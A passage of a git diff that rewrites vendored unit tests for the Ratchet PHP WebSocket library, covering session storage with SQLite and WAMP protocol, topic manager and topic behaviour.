'db_lifetime_col' => 'sess_lifetime' + ); + + $pdo = new \PDO("sqlite::memory:"); + $pdo->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); + $pdo->exec(vsprintf("CREATE TABLE %s (%s TEXT NOT NULL PRIMARY KEY, %s BLOB NOT NULL, %s INTEGER NOT NULL, %s INTEGER)", $dbOptions)); + + $pdoHandler = new PdoSessionHandler($pdo, $dbOptions); + $pdoHandler->write($sessionId, '_sf2_attributes|a:2:{s:5:"hello";s:5:"world";s:4:"last";i:1332872102;}_sf2_flashes|a:0:{}'); + + $component = new SessionProvider($this->getMock($this->getComponentClassString()), $pdoHandler, array('auto_start' => 1)); + $connection = $this->getMock('Ratchet\\ConnectionInterface'); + + $headers = $this->getMock('Psr\Http\Message\RequestInterface'); + $headers->expects($this->once())->method('getHeader')->will($this->returnValue([ini_get('session.name') . "={$sessionId};"])); + + $component->onOpen($connection, $headers); + + $this->assertEquals('world', $connection->Session->get('hello')); + } + + protected function newConn() { + $conn = $this->getMock('Ratchet\ConnectionInterface'); + + $headers = $this->getMock('Psr\Http\Message\Request', array('getCookie'), array('POST', '/', array())); + $headers->expects($this->once())->method('getCookie', array(ini_get('session.name')))->will($this->returnValue(null)); + + return $conn; + } + + public function testOnMessageDecorator() { + $message = "Database calls are usually blocking :("; + $this->_app->expects($this->once())->method('onMessage')->with($this->isExpectedConnection(), $message); + $this->_serv->onMessage($this->_conn, $message); + } + + public function testRejectInvalidSeralizers() { + if (!function_exists('wddx_serialize_value')) { + $this->markTestSkipped(); + } + + ini_set('session.serialize_handler', 'wddx'); + $this->setExpectedException('\RuntimeException'); + new SessionProvider($this->getMock($this->getComponentClassString()), $this->getMock('\SessionHandlerInterface')); + } + + protected function doOpen($conn) { + $request = $this->getMock('Psr\Http\Message\RequestInterface'); + $request->expects($this->any())->method('getHeader')->will($this->returnValue([])); + + $this->_serv->onOpen($conn, $request); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Session/Storage/VirtualSessionStoragePDOTest.php b/vendor/cboden/ratchet/tests/unit/Session/Storage/VirtualSessionStoragePDOTest.php index 26ac6b778c..2727484da9 100644 --- a/vendor/cboden/ratchet/tests/unit/Session/Storage/VirtualSessionStoragePDOTest.php +++ b/vendor/cboden/ratchet/tests/unit/Session/Storage/VirtualSessionStoragePDOTest.php @@ -1,53 +1,53 @@ -markTestSkipped('Session test requires PDO and pdo_sqlite'); - } - - $schema = <<_pathToDB = tempnam(sys_get_temp_dir(), 'SQ3');; - $dsn = 'sqlite:' . $this->_pathToDB; - - $pdo = new \PDO($dsn); - $pdo->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); - $pdo->exec($schema); - $pdo = null; - - $sessionHandler = new PdoSessionHandler($dsn); - $serializer = new PhpHandler(); - $this->_virtualSessionStorage = new VirtualSessionStorage($sessionHandler, 'foobar', $serializer); - $this->_virtualSessionStorage->registerBag(new FlashBag()); - $this->_virtualSessionStorage->registerBag(new AttributeBag()); - } - - public function tearDown() { - unlink($this->_pathToDB); - } - - public function testStartWithDSN() { - $this->_virtualSessionStorage->start(); - - $this->assertTrue($this->_virtualSessionStorage->isStarted()); - } -} +markTestSkipped('Session test requires PDO and pdo_sqlite'); + } + + $schema = <<_pathToDB = tempnam(sys_get_temp_dir(), 'SQ3');; + $dsn = 'sqlite:' . $this->_pathToDB; + + $pdo = new \PDO($dsn); + $pdo->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); + $pdo->exec($schema); + $pdo = null; + + $sessionHandler = new PdoSessionHandler($dsn); + $serializer = new PhpHandler(); + $this->_virtualSessionStorage = new VirtualSessionStorage($sessionHandler, 'foobar', $serializer); + $this->_virtualSessionStorage->registerBag(new FlashBag()); + $this->_virtualSessionStorage->registerBag(new AttributeBag()); + } + + public function tearDown() { + unlink($this->_pathToDB); + } + + public function testStartWithDSN() { + $this->_virtualSessionStorage->start(); + + $this->assertTrue($this->_virtualSessionStorage->isStarted()); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Wamp/ServerProtocolTest.php b/vendor/cboden/ratchet/tests/unit/Wamp/ServerProtocolTest.php index 8b7e201ff4..8ff68c2514 100644 --- a/vendor/cboden/ratchet/tests/unit/Wamp/ServerProtocolTest.php +++ b/vendor/cboden/ratchet/tests/unit/Wamp/ServerProtocolTest.php @@ -1,295 +1,295 @@ -_app = new TestComponent; - $this->_comp = new ServerProtocol($this->_app); - } - - protected function newConn() { - return new Connection; - } - - public function invalidMessageProvider() { - return [ - [0] - , [3] - , [4] - , [8] - , [9] - ]; - } - - /** - * @dataProvider invalidMessageProvider - */ - public function testInvalidMessages($type) { - $this->setExpectedException('\Ratchet\Wamp\Exception'); - - $conn = $this->newConn(); - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode([$type])); - } - - public function testWelcomeMessage() { - $conn = $this->newConn(); - - $this->_comp->onOpen($conn); - - $message = $conn->last['send']; - $json = json_decode($message); - - $this->assertEquals(4, count($json)); - $this->assertEquals(0, $json[0]); - $this->assertTrue(is_string($json[1])); - $this->assertEquals(1, $json[2]); - } - - public function testSubscribe() { - $uri = 'http://example.com'; - $clientMessage = array(5, $uri); - - $conn = $this->newConn(); - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode($clientMessage)); - - $this->assertEquals($uri, $this->_app->last['onSubscribe'][1]); - } - - public function testUnSubscribe() { - $uri = 'http://example.com/endpoint'; - $clientMessage = array(6, $uri); - - $conn = $this->newConn(); - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode($clientMessage)); - - $this->assertEquals($uri, $this->_app->last['onUnSubscribe'][1]); - } - - public function callProvider() { - return [ - [2, 'a', 'b'] - , [2, ['a', 'b']] - , [1, 'one'] - , [3, 'one', 'two', 'three'] - , [3, ['un', 'deux', 'trois']] - , [2, 'hi', ['hello', 'world']] - , [2, ['hello', 'world'], 'hi'] - , [2, ['hello' => 'world', 'herp' => 'derp']] - ]; - } - - /** - * @dataProvider callProvider - */ - public function testCall() { - $args = func_get_args(); - $paramNum = array_shift($args); - - $uri = 'http://example.com/endpoint/' . rand(1, 100); - $id = uniqid('', false); - $clientMessage = array_merge(array(2, $id, $uri), $args); - - $conn = $this->newConn(); - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode($clientMessage)); - - $this->assertEquals($id, $this->_app->last['onCall'][1]); - $this->assertEquals($uri, $this->_app->last['onCall'][2]); - - $this->assertEquals($paramNum, count($this->_app->last['onCall'][3])); - } - - public function testPublish() { - $conn = $this->newConn(); - - $topic = 'pubsubhubbub'; - $event = 'Here I am, publishing data'; - - $clientMessage = array(7, $topic, $event); - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode($clientMessage)); - - $this->assertEquals($topic, $this->_app->last['onPublish'][1]); - $this->assertEquals($event, $this->_app->last['onPublish'][2]); - $this->assertEquals(array(), $this->_app->last['onPublish'][3]); - $this->assertEquals(array(), $this->_app->last['onPublish'][4]); - } - - public function testPublishAndExcludeMe() { - $conn = $this->newConn(); - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode(array(7, 'topic', 'event', true))); - - $this->assertEquals($conn->WAMP->sessionId, $this->_app->last['onPublish'][3][0]); - } - - public function testPublishAndEligible() { - $conn = $this->newConn(); - - $buddy = uniqid('', false); - $friend = uniqid('', false); - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, json_encode(array(7, 'topic', 'event', false, array($buddy, $friend)))); - - $this->assertEquals(array(), $this->_app->last['onPublish'][3]); - $this->assertEquals(2, count($this->_app->last['onPublish'][4])); - } - - public function eventProvider() { - return array( - array('http://example.com', array('one', 'two')) - , array('curie', array(array('hello' => 'world', 'herp' => 'derp'))) - ); - } - - /** - * @dataProvider eventProvider - */ - public function testEvent($topic, $payload) { - $conn = new WampConnection($this->newConn()); - $conn->event($topic, $payload); - - $eventString = $conn->last['send']; - - $this->assertSame(array(8, $topic, $payload), json_decode($eventString, true)); - } - - public function testOnClosePropagation() { - $conn = new Connection; - - $this->_comp->onOpen($conn); - $this->_comp->onClose($conn); - - $class = new \ReflectionClass('\\Ratchet\\Wamp\\WampConnection'); - $method = $class->getMethod('getConnection'); - $method->setAccessible(true); - - $check = $method->invokeArgs($this->_app->last['onClose'][0], array()); - - $this->assertSame($conn, $check); - } - - public function testOnErrorPropagation() { - $conn = new Connection; - - $e = new \Exception('Nope'); - - $this->_comp->onOpen($conn); - $this->_comp->onError($conn, $e); - - $class = new \ReflectionClass('\\Ratchet\\Wamp\\WampConnection'); - $method = $class->getMethod('getConnection'); - $method->setAccessible(true); - - $check = $method->invokeArgs($this->_app->last['onError'][0], array()); - - $this->assertSame($conn, $check); - $this->assertSame($e, $this->_app->last['onError'][1]); - } - - public function testPrefix() { - $conn = new WampConnection($this->newConn()); - $this->_comp->onOpen($conn); - - $prefix = 'incoming'; - $fullURI = "http://example.com/$prefix"; - $method = 'call'; - - $this->_comp->onMessage($conn, json_encode(array(1, $prefix, $fullURI))); - - $this->assertEquals($fullURI, $conn->WAMP->prefixes[$prefix]); - $this->assertEquals("$fullURI#$method", $conn->getUri("$prefix:$method")); - } - - public function testMessageMustBeJson() { - $this->setExpectedException('\\Ratchet\\Wamp\\JsonException'); - - $conn = new Connection; - - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, 'Hello World!'); - } - - public function testGetSubProtocolsReturnsArray() { - $this->assertTrue(is_array($this->_comp->getSubProtocols())); - } - - public function testGetSubProtocolsGetFromApp() { - $this->_app->protocols = array('hello', 'world'); - - $this->assertGreaterThanOrEqual(3, count($this->_comp->getSubProtocols())); - } - - public function testWampOnMessageApp() { - $app = $this->getMock('\\Ratchet\\Wamp\\WampServerInterface'); - $wamp = new ServerProtocol($app); - - $this->assertContains('wamp', $wamp->getSubProtocols()); - } - - public function badFormatProvider() { - return array( - array(json_encode(true)) - , array('{"valid":"json", "invalid": "message"}') - , array('{"0": "fail", "hello": "world"}') - ); - } - - /** - * @dataProvider badFormatProvider - */ - public function testValidJsonButInvalidProtocol($message) { - $this->setExpectedException('\Ratchet\Wamp\Exception'); - - $conn = $this->newConn(); - $this->_comp->onOpen($conn); - $this->_comp->onMessage($conn, $message); - } - - public function testBadClientInputFromNonStringTopic() { - $this->setExpectedException('\Ratchet\Wamp\Exception'); - - $conn = new WampConnection($this->newConn()); - $this->_comp->onOpen($conn); - - $this->_comp->onMessage($conn, json_encode([5, ['hells', 'nope']])); - } - - public function testBadPrefixWithNonStringTopic() { - $this->setExpectedException('\Ratchet\Wamp\Exception'); - - $conn = new WampConnection($this->newConn()); - $this->_comp->onOpen($conn); - - $this->_comp->onMessage($conn, json_encode([1, ['hells', 'nope'], ['bad', 'input']])); - } - - public function testBadPublishWithNonStringTopic() { - $this->setExpectedException('\Ratchet\Wamp\Exception'); - - $conn = new WampConnection($this->newConn()); - $this->_comp->onOpen($conn); - - $this->_comp->onMessage($conn, json_encode([7, ['bad', 'input'], 'Hider'])); - } -} +_app = new TestComponent; + $this->_comp = new ServerProtocol($this->_app); + } + + protected function newConn() { + return new Connection; + } + + public function invalidMessageProvider() { + return [ + [0] + , [3] + , [4] + , [8] + , [9] + ]; + } + + /** + * @dataProvider invalidMessageProvider + */ + public function testInvalidMessages($type) { + $this->setExpectedException('\Ratchet\Wamp\Exception'); + + $conn = $this->newConn(); + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode([$type])); + } + + public function testWelcomeMessage() { + $conn = $this->newConn(); + + $this->_comp->onOpen($conn); + + $message = $conn->last['send']; + $json = json_decode($message); + + $this->assertEquals(4, count($json)); + $this->assertEquals(0, $json[0]); + $this->assertTrue(is_string($json[1])); + $this->assertEquals(1, $json[2]); + } + + public function testSubscribe() { + $uri = 'http://example.com'; + $clientMessage = array(5, $uri); + + $conn = $this->newConn(); + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode($clientMessage)); + + $this->assertEquals($uri, $this->_app->last['onSubscribe'][1]); + } + + public function testUnSubscribe() { + $uri = 'http://example.com/endpoint'; + $clientMessage = array(6, $uri); + + $conn = $this->newConn(); + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode($clientMessage)); + + $this->assertEquals($uri, $this->_app->last['onUnSubscribe'][1]); + } + + public function callProvider() { + return [ + [2, 'a', 'b'] + , [2, ['a', 'b']] + , [1, 'one'] + , [3, 'one', 'two', 'three'] + , [3, ['un', 'deux', 'trois']] + , [2, 'hi', ['hello', 'world']] + , [2, ['hello', 'world'], 'hi'] + , [2, ['hello' => 'world', 'herp' => 'derp']] + ]; + } + + /** + * @dataProvider callProvider + */ + public function testCall() { + $args = func_get_args(); + $paramNum = array_shift($args); + + $uri = 'http://example.com/endpoint/' . rand(1, 100); + $id = uniqid('', false); + $clientMessage = array_merge(array(2, $id, $uri), $args); + + $conn = $this->newConn(); + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode($clientMessage)); + + $this->assertEquals($id, $this->_app->last['onCall'][1]); + $this->assertEquals($uri, $this->_app->last['onCall'][2]); + + $this->assertEquals($paramNum, count($this->_app->last['onCall'][3])); + } + + public function testPublish() { + $conn = $this->newConn(); + + $topic = 'pubsubhubbub'; + $event = 'Here I am, publishing data'; + + $clientMessage = array(7, $topic, $event); + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode($clientMessage)); + + $this->assertEquals($topic, $this->_app->last['onPublish'][1]); + $this->assertEquals($event, $this->_app->last['onPublish'][2]); + $this->assertEquals(array(), $this->_app->last['onPublish'][3]); + $this->assertEquals(array(), $this->_app->last['onPublish'][4]); + } + + public function testPublishAndExcludeMe() { + $conn = $this->newConn(); + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode(array(7, 'topic', 'event', true))); + + $this->assertEquals($conn->WAMP->sessionId, $this->_app->last['onPublish'][3][0]); + } + + public function testPublishAndEligible() { + $conn = $this->newConn(); + + $buddy = uniqid('', false); + $friend = uniqid('', false); + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, json_encode(array(7, 'topic', 'event', false, array($buddy, $friend)))); + + $this->assertEquals(array(), $this->_app->last['onPublish'][3]); + $this->assertEquals(2, count($this->_app->last['onPublish'][4])); + } + + public function eventProvider() { + return array( + array('http://example.com', array('one', 'two')) + , array('curie', array(array('hello' => 'world', 'herp' => 'derp'))) + ); + } + + /** + * @dataProvider eventProvider + */ + public function testEvent($topic, $payload) { + $conn = new WampConnection($this->newConn()); + $conn->event($topic, $payload); + + $eventString = $conn->last['send']; + + $this->assertSame(array(8, $topic, $payload), json_decode($eventString, true)); + } + + public function testOnClosePropagation() { + $conn = new Connection; + + $this->_comp->onOpen($conn); + $this->_comp->onClose($conn); + + $class = new \ReflectionClass('\\Ratchet\\Wamp\\WampConnection'); + $method = $class->getMethod('getConnection'); + $method->setAccessible(true); + + $check = $method->invokeArgs($this->_app->last['onClose'][0], array()); + + $this->assertSame($conn, $check); + } + + public function testOnErrorPropagation() { + $conn = new Connection; + + $e = new \Exception('Nope'); + + $this->_comp->onOpen($conn); + $this->_comp->onError($conn, $e); + + $class = new \ReflectionClass('\\Ratchet\\Wamp\\WampConnection'); + $method = $class->getMethod('getConnection'); + $method->setAccessible(true); + + $check = $method->invokeArgs($this->_app->last['onError'][0], array()); + + $this->assertSame($conn, $check); + $this->assertSame($e, $this->_app->last['onError'][1]); + } + + public function testPrefix() { + $conn = new WampConnection($this->newConn()); + $this->_comp->onOpen($conn); + + $prefix = 'incoming'; + $fullURI = "http://example.com/$prefix"; + $method = 'call'; + + $this->_comp->onMessage($conn, json_encode(array(1, $prefix, $fullURI))); + + $this->assertEquals($fullURI, $conn->WAMP->prefixes[$prefix]); + $this->assertEquals("$fullURI#$method", $conn->getUri("$prefix:$method")); + } + + public function testMessageMustBeJson() { + $this->setExpectedException('\\Ratchet\\Wamp\\JsonException'); + + $conn = new Connection; + + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, 'Hello World!'); + } + + public function testGetSubProtocolsReturnsArray() { + $this->assertTrue(is_array($this->_comp->getSubProtocols())); + } + + public function testGetSubProtocolsGetFromApp() { + $this->_app->protocols = array('hello', 'world'); + + $this->assertGreaterThanOrEqual(3, count($this->_comp->getSubProtocols())); + } + + public function testWampOnMessageApp() { + $app = $this->getMock('\\Ratchet\\Wamp\\WampServerInterface'); + $wamp = new ServerProtocol($app); + + $this->assertContains('wamp', $wamp->getSubProtocols()); + } + + public function badFormatProvider() { + return array( + array(json_encode(true)) + , array('{"valid":"json", "invalid": "message"}') + , array('{"0": "fail", "hello": "world"}') + ); + } + + /** + * @dataProvider badFormatProvider + */ + public function testValidJsonButInvalidProtocol($message) { + $this->setExpectedException('\Ratchet\Wamp\Exception'); + + $conn = $this->newConn(); + $this->_comp->onOpen($conn); + $this->_comp->onMessage($conn, $message); + } + + public function testBadClientInputFromNonStringTopic() { + $this->setExpectedException('\Ratchet\Wamp\Exception'); + + $conn = new WampConnection($this->newConn()); + $this->_comp->onOpen($conn); + + $this->_comp->onMessage($conn, json_encode([5, ['hells', 'nope']])); + } + + public function testBadPrefixWithNonStringTopic() { + $this->setExpectedException('\Ratchet\Wamp\Exception'); + + $conn = new WampConnection($this->newConn()); + $this->_comp->onOpen($conn); + + $this->_comp->onMessage($conn, json_encode([1, ['hells', 'nope'], ['bad', 'input']])); + } + + public function testBadPublishWithNonStringTopic() { + $this->setExpectedException('\Ratchet\Wamp\Exception'); + + $conn = new WampConnection($this->newConn()); + $this->_comp->onOpen($conn); + + $this->_comp->onMessage($conn, json_encode([7, ['bad', 'input'], 'Hider'])); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Wamp/TopicManagerTest.php b/vendor/cboden/ratchet/tests/unit/Wamp/TopicManagerTest.php index 888b18cb05..b21b6bc06e 100644 --- a/vendor/cboden/ratchet/tests/unit/Wamp/TopicManagerTest.php +++ b/vendor/cboden/ratchet/tests/unit/Wamp/TopicManagerTest.php @@ -1,226 +1,226 @@ -conn = $this->getMock('\Ratchet\ConnectionInterface'); - $this->mock = $this->getMock('\Ratchet\Wamp\WampServerInterface'); - $this->mngr = new TopicManager($this->mock); - - $this->conn->WAMP = new \StdClass; - $this->mngr->onOpen($this->conn); - } - - public function testGetTopicReturnsTopicObject() { - $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); - $method = $class->getMethod('getTopic'); - $method->setAccessible(true); - - $topic = $method->invokeArgs($this->mngr, array('The Topic')); - - $this->assertInstanceOf('Ratchet\Wamp\Topic', $topic); - } - - public function testGetTopicCreatesTopicWithSameName() { - $name = 'The Topic'; - - $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); - $method = $class->getMethod('getTopic'); - $method->setAccessible(true); - - $topic = $method->invokeArgs($this->mngr, array($name)); - - $this->assertEquals($name, $topic->getId()); - } - - public function testGetTopicReturnsSameObject() { - $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); - $method = $class->getMethod('getTopic'); - $method->setAccessible(true); - - $topic = $method->invokeArgs($this->mngr, array('No copy')); - $again = $method->invokeArgs($this->mngr, array('No copy')); - - $this->assertSame($topic, $again); - } - - public function testOnOpen() { - $this->mock->expects($this->once())->method('onOpen'); - $this->mngr->onOpen($this->conn); - } - - public function testOnCall() { - $id = uniqid(); - - $this->mock->expects($this->once())->method('onCall')->with( - $this->conn - , $id - , $this->isInstanceOf('Ratchet\Wamp\Topic') - , array() - ); - - $this->mngr->onCall($this->conn, $id, 'new topic', array()); - } - - public function testOnSubscribeCreatesTopicObject() { - $this->mock->expects($this->once())->method('onSubscribe')->with( - $this->conn, $this->isInstanceOf('Ratchet\Wamp\Topic') - ); - - $this->mngr->onSubscribe($this->conn, 'new topic'); - } - - public function testTopicIsInConnectionOnSubscribe() { - $name = 'New Topic'; - - $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); - $method = $class->getMethod('getTopic'); - $method->setAccessible(true); - - $topic = $method->invokeArgs($this->mngr, array($name)); - - $this->mngr->onSubscribe($this->conn, $name); - - $this->assertTrue($this->conn->WAMP->subscriptions->contains($topic)); - } - - public function testDoubleSubscriptionFiresOnce() { - $this->mock->expects($this->exactly(1))->method('onSubscribe'); - - $this->mngr->onSubscribe($this->conn, 'same topic'); - $this->mngr->onSubscribe($this->conn, 'same topic'); - } - - public function testUnsubscribeEvent() { - $name = 'in and out'; - $this->mock->expects($this->once())->method('onUnsubscribe')->with( - $this->conn, $this->isInstanceOf('Ratchet\Wamp\Topic') - ); - - $this->mngr->onSubscribe($this->conn, $name); - $this->mngr->onUnsubscribe($this->conn, $name); - } - - public function testUnsubscribeFiresOnce() { - $name = 'getting sleepy'; - $this->mock->expects($this->exactly(1))->method('onUnsubscribe'); - - $this->mngr->onSubscribe($this->conn, $name); - $this->mngr->onUnsubscribe($this->conn, $name); - $this->mngr->onUnsubscribe($this->conn, $name); - } - - public function testUnsubscribeRemovesTopicFromConnection() { - $name = 'Bye Bye Topic'; - - $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); - $method = $class->getMethod('getTopic'); - $method->setAccessible(true); - - $topic = $method->invokeArgs($this->mngr, array($name)); - - $this->mngr->onSubscribe($this->conn, $name); - $this->mngr->onUnsubscribe($this->conn, $name); - - $this->assertFalse($this->conn->WAMP->subscriptions->contains($topic)); - } - - public function testOnPublishBubbles() { - $msg = 'Cover all the code!'; - - $this->mock->expects($this->once())->method('onPublish')->with( - $this->conn - , $this->isInstanceOf('Ratchet\Wamp\Topic') - , $msg - , $this->isType('array') - , $this->isType('array') - ); - - $this->mngr->onPublish($this->conn, 'topic coverage', $msg, array(), array()); - } - - public function testOnCloseBubbles() { - $this->mock->expects($this->once())->method('onClose')->with($this->conn); - $this->mngr->onClose($this->conn); - } - - protected function topicProvider($name) { - $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); - $method = $class->getMethod('getTopic'); - $method->setAccessible(true); - - $attribute = $class->getProperty('topicLookup'); - $attribute->setAccessible(true); - - $topic = $method->invokeArgs($this->mngr, array($name)); - - return array($topic, $attribute); - } - - public function testConnIsRemovedFromTopicOnClose() { - $name = 'State Testing'; - list($topic, $attribute) = $this->topicProvider($name); - - $this->assertCount(1, $attribute->getValue($this->mngr)); - - $this->mngr->onSubscribe($this->conn, $name); - $this->mngr->onClose($this->conn); - - $this->assertFalse($topic->has($this->conn)); - } - - public static function topicConnExpectationProvider() { - return [ - [ 'onClose', 0] - , ['onUnsubscribe', 0] - ]; - } - - /** - * @dataProvider topicConnExpectationProvider - */ - public function testTopicRetentionFromLeavingConnections($methodCall, $expectation) { - $topicName = 'checkTopic'; - list($topic, $attribute) = $this->topicProvider($topicName); - - $this->mngr->onSubscribe($this->conn, $topicName); - call_user_func_array(array($this->mngr, $methodCall), array($this->conn, $topicName)); - - $this->assertCount($expectation, $attribute->getValue($this->mngr)); - } - - public function testOnErrorBubbles() { - $e = new \Exception('All work and no play makes Chris a dull boy'); - $this->mock->expects($this->once())->method('onError')->with($this->conn, $e); - - $this->mngr->onError($this->conn, $e); - } - - public function testGetSubProtocolsReturnsArray() { - $this->assertInternalType('array', $this->mngr->getSubProtocols()); - } - - public function testGetSubProtocolsBubbles() { - $subs = array('hello', 'world'); - $app = $this->getMock('Ratchet\Wamp\Stub\WsWampServerInterface'); - $app->expects($this->once())->method('getSubProtocols')->will($this->returnValue($subs)); - $mngr = new TopicManager($app); - - $this->assertEquals($subs, $mngr->getSubProtocols()); - } -} +conn = $this->getMock('\Ratchet\ConnectionInterface'); + $this->mock = $this->getMock('\Ratchet\Wamp\WampServerInterface'); + $this->mngr = new TopicManager($this->mock); + + $this->conn->WAMP = new \StdClass; + $this->mngr->onOpen($this->conn); + } + + public function testGetTopicReturnsTopicObject() { + $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); + $method = $class->getMethod('getTopic'); + $method->setAccessible(true); + + $topic = $method->invokeArgs($this->mngr, array('The Topic')); + + $this->assertInstanceOf('Ratchet\Wamp\Topic', $topic); + } + + public function testGetTopicCreatesTopicWithSameName() { + $name = 'The Topic'; + + $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); + $method = $class->getMethod('getTopic'); + $method->setAccessible(true); + + $topic = $method->invokeArgs($this->mngr, array($name)); + + $this->assertEquals($name, $topic->getId()); + } + + public function testGetTopicReturnsSameObject() { + $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); + $method = $class->getMethod('getTopic'); + $method->setAccessible(true); + + $topic = $method->invokeArgs($this->mngr, array('No copy')); + $again = $method->invokeArgs($this->mngr, array('No copy')); + + $this->assertSame($topic, $again); + } + + public function testOnOpen() { + $this->mock->expects($this->once())->method('onOpen'); + $this->mngr->onOpen($this->conn); + } + + public function testOnCall() { + $id = uniqid(); + + $this->mock->expects($this->once())->method('onCall')->with( + $this->conn + , $id + , $this->isInstanceOf('Ratchet\Wamp\Topic') + , array() + ); + + $this->mngr->onCall($this->conn, $id, 'new topic', array()); + } + + public function testOnSubscribeCreatesTopicObject() { + $this->mock->expects($this->once())->method('onSubscribe')->with( + $this->conn, $this->isInstanceOf('Ratchet\Wamp\Topic') + ); + + $this->mngr->onSubscribe($this->conn, 'new topic'); + } + + public function testTopicIsInConnectionOnSubscribe() { + $name = 'New Topic'; + + $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); + $method = $class->getMethod('getTopic'); + $method->setAccessible(true); + + $topic = $method->invokeArgs($this->mngr, array($name)); + + $this->mngr->onSubscribe($this->conn, $name); + + $this->assertTrue($this->conn->WAMP->subscriptions->contains($topic)); + } + + public function testDoubleSubscriptionFiresOnce() { + $this->mock->expects($this->exactly(1))->method('onSubscribe'); + + $this->mngr->onSubscribe($this->conn, 'same topic'); + $this->mngr->onSubscribe($this->conn, 'same topic'); + } + + public function testUnsubscribeEvent() { + $name = 'in and out'; + $this->mock->expects($this->once())->method('onUnsubscribe')->with( + $this->conn, $this->isInstanceOf('Ratchet\Wamp\Topic') + ); + + $this->mngr->onSubscribe($this->conn, $name); + $this->mngr->onUnsubscribe($this->conn, $name); + } + + public function testUnsubscribeFiresOnce() { + $name = 'getting sleepy'; + $this->mock->expects($this->exactly(1))->method('onUnsubscribe'); + + $this->mngr->onSubscribe($this->conn, $name); + $this->mngr->onUnsubscribe($this->conn, $name); + $this->mngr->onUnsubscribe($this->conn, $name); + } + + public function testUnsubscribeRemovesTopicFromConnection() { + $name = 'Bye Bye Topic'; + + $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); + $method = $class->getMethod('getTopic'); + $method->setAccessible(true); + + $topic = $method->invokeArgs($this->mngr, array($name)); + + $this->mngr->onSubscribe($this->conn, $name); + $this->mngr->onUnsubscribe($this->conn, $name); + + $this->assertFalse($this->conn->WAMP->subscriptions->contains($topic)); + } + + public function testOnPublishBubbles() { + $msg = 'Cover all the code!'; + + $this->mock->expects($this->once())->method('onPublish')->with( + $this->conn + , $this->isInstanceOf('Ratchet\Wamp\Topic') + , $msg + , $this->isType('array') + , $this->isType('array') + ); + + $this->mngr->onPublish($this->conn, 'topic coverage', $msg, array(), array()); + } + + public function testOnCloseBubbles() { + $this->mock->expects($this->once())->method('onClose')->with($this->conn); + $this->mngr->onClose($this->conn); + } + + protected function topicProvider($name) { + $class = new \ReflectionClass('Ratchet\Wamp\TopicManager'); + $method = $class->getMethod('getTopic'); + $method->setAccessible(true); + + $attribute = $class->getProperty('topicLookup'); + $attribute->setAccessible(true); + + $topic = $method->invokeArgs($this->mngr, array($name)); + + return array($topic, $attribute); + } + + public function testConnIsRemovedFromTopicOnClose() { + $name = 'State Testing'; + list($topic, $attribute) = $this->topicProvider($name); + + $this->assertCount(1, $attribute->getValue($this->mngr)); + + $this->mngr->onSubscribe($this->conn, $name); + $this->mngr->onClose($this->conn); + + $this->assertFalse($topic->has($this->conn)); + } + + public static function topicConnExpectationProvider() { + return [ + [ 'onClose', 0] + , ['onUnsubscribe', 0] + ]; + } + + /** + * @dataProvider topicConnExpectationProvider + */ + public function testTopicRetentionFromLeavingConnections($methodCall, $expectation) { + $topicName = 'checkTopic'; + list($topic, $attribute) = $this->topicProvider($topicName); + + $this->mngr->onSubscribe($this->conn, $topicName); + call_user_func_array(array($this->mngr, $methodCall), array($this->conn, $topicName)); + + $this->assertCount($expectation, $attribute->getValue($this->mngr)); + } + + public function testOnErrorBubbles() { + $e = new \Exception('All work and no play makes Chris a dull boy'); + $this->mock->expects($this->once())->method('onError')->with($this->conn, $e); + + $this->mngr->onError($this->conn, $e); + } + + public function testGetSubProtocolsReturnsArray() { + $this->assertInternalType('array', $this->mngr->getSubProtocols()); + } + + public function testGetSubProtocolsBubbles() { + $subs = array('hello', 'world'); + $app = $this->getMock('Ratchet\Wamp\Stub\WsWampServerInterface'); + $app->expects($this->once())->method('getSubProtocols')->will($this->returnValue($subs)); + $mngr = new TopicManager($app); + + $this->assertEquals($subs, $mngr->getSubProtocols()); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Wamp/TopicTest.php b/vendor/cboden/ratchet/tests/unit/Wamp/TopicTest.php index a55e401f72..b8685b7ed3 100644 --- a/vendor/cboden/ratchet/tests/unit/Wamp/TopicTest.php +++ b/vendor/cboden/ratchet/tests/unit/Wamp/TopicTest.php @@ -1,164 +1,164 @@ -assertEquals($id, $topic->getId()); - } - - public function testAddAndCount() { - $topic = new Topic('merp'); - - $topic->add($this->newConn()); - $topic->add($this->newConn()); - $topic->add($this->newConn()); - - $this->assertEquals(3, count($topic)); - } - - public function testRemove() { - $topic = new Topic('boop'); - $tracked = $this->newConn(); - - $topic->add($this->newConn()); - $topic->add($tracked); - 